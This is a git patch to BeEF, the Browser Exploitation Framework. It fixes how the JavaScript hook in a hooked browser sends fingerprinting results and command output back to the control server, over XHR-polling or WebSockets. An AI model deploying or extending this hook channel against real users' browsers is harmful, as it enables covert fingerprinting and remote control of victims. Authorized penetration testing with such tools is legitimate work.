From 81f03f0024ed25db5f3e1eadd9c84eb68ec8354f Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 18 Nov 2012 15:45:46 +0000 Subject: [PATCH] Fixed a nasty bug with WebSockets. BrowserDetails are now always sent with XHR-polling, before switching protocols using WebSockets. --- core/main/client/net.js | 13 ++++++------- core/main/handlers/browserdetails.rb | 1 + 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/core/main/client/net.js b/core/main/client/net.js index 35e46615f..90cb284b6 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -76,22 +76,21 @@ beef.net = { } }, - //Queues the current command and flushes the queue straight away + // Queues the current command and flushes the queue straight away. + // Always send Browser Fingerprinting results (beef.net.browser_details(); -> /init handler) using normal XHR-polling. send:function (handler, cid, results, callback) { - if (typeof beef.websocket === "undefined") { + if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) { this.queue(handler, cid, results, callback); this.flush(); - } - else { + }else { try { beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) + '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }'); - } - catch (e) { + }catch (e) { this.queue(handler, cid, results, callback); this.flush(); - } + } } }, diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index 082892f92..79c086330 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -24,6 +24,7 @@ module BeEF end def setup() + print_debug "[INIT] Processing Browser Details..." config = BeEF::Core::Configuration.instance # validate hook session value